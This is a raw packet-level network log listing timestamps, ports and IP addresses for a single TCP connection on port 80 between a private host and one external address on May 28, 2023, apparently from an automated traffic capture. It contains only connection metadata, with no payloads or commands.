May 28, 2023 10:42:36.437114000 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.437158108 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.439965010 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.681946993 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682014942 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682061911 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682110071 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682157040 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682205915 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682252884 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682204008 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682204008 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682297945 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682346106 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682391882 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682436943 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682477951 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682477951 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682486057 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682512045 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682539940 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682574987 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682585955 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682635069 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682660103 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682681084 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682728052 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682774067 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682813883 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682818890 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682863951 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682867050 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682914019 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.682948112 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.682959080 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683007002 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683037996 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683051109 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683098078 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683146000 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683191061 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683192015 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683239937 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683243990 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683284044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683310986 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683331013 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683377028 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683403969 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683422089 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683466911 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683511972 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683545113 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683557987 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683600903 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683604002 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683650970 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683671951 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683712006 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683758020 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683801889 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683825016 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683846951 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683876038 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.683892012 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683938026 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.683981895 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684020996 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684026957 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684071064 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684072971 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684120893 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684140921 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684164047 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684209108 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684254885 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684282064 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684330940 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684346914 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684377909 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684423923 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684458971 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684469938 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684516907 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684537888 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684562922 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684607983 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684654951 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684678078 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684704065 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684729099 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684751034 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684798002 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684842110 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684870005 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684889078 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684935093 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.684940100 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.684983015 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685000896 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685029984 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685075998 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685122013 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685151100 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685168028 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685194969 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685214043 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685260057 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685292006 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685303926 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685323954 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685349941 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685362101 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685396910 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685461044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685508966 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685538054 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685554028 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685592890 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685601950 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685648918 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685663939 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685698032 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685729027 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685743093 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685771942 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685791016 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685837984 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685883999 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685900927 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685935020 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685964108 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.685981989 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.685996056 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686031103 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686059952 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686078072 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686125040 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686146975 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686172962 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686213970 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686218977 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686239958 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686265945 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686311960 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686330080 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686358929 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686404943 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686428070 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686454058 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686499119 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686511040 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686544895 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686548948 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686590910 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686635971 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686681032 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686713934 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686736107 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686781883 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686804056 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686830044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686875105 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686896086 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.686922073 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686969042 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.686989069 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.687015057 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.687060118 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.687074900 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.687105894 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.687153101 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.687165976 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.687200069 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.687244892 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.687272072 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.722285032 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931183100 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931230068 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931266069 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931302071 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931303978 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931334019 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931372881 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931379080 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931411982 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931448936 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931461096 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931498051 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931512117 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931545019 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931581020 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931616068 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931624889 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931662083 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931678057 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931715012 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931739092 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931761026 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931777954 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931786060 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931809902 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931830883 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931833982 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931857109 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931879997 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931895018 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931904078 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931926012 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931941032 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.931948900 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.931972027 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932002068 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932023048 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932023048 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932027102 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932049990 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932071924 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932089090 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932095051 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932117939 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932120085 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932145119 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932151079 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932168961 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932185888 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932193041 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932215929 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932238102 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932244062 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932274103 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932305098 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932327986 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932351112 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932370901 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932375908 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932400942 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932400942 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932425022 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932447910 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932459116 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932471037 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932492971 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932516098 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932518005 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932539940 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932552099 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932563066 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932585955 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932593107 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932610989 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932638884 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932653904 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932677984 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932702065 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932708025 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932724953 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932746887 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932768106 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932775974 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932790995 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932813883 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932848930 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932869911 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932893991 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932915926 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932939053 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932946920 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932957888 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.932962894 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.932987928 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933007002 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933012009 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933036089 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933059931 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933082104 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933084011 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933095932 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933101892 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933120012 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933141947 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933159113 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933181047 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933192968 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933206081 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933229923 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933234930 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933253050 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933262110 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933276892 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933300018 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933307886 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933325052 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933347940 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933355093 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933372021 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933393955 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933407068 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933415890 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933439970 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933446884 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933465004 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933487892 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933495045 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933511972 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933535099 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933542967 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933557987 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933582067 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933603048 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933626890 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933631897 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933651924 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933662891 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933676004 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933697939 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933700085 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933725119 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933748007 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933757067 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933773041 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933789015 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933796883 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933820963 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933836937 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933844090 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933868885 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933876991 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933893919 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933917999 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933937073 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933939934 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933964014 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.933970928 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.933986902 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934010983 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934015989 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934036016 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934058905 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934067011 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934082985 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934106112 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934128046 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934133053 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934151888 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934175014 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934184074 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934199095 CEST	80	49699	211.119.84.112	192.168.2.3
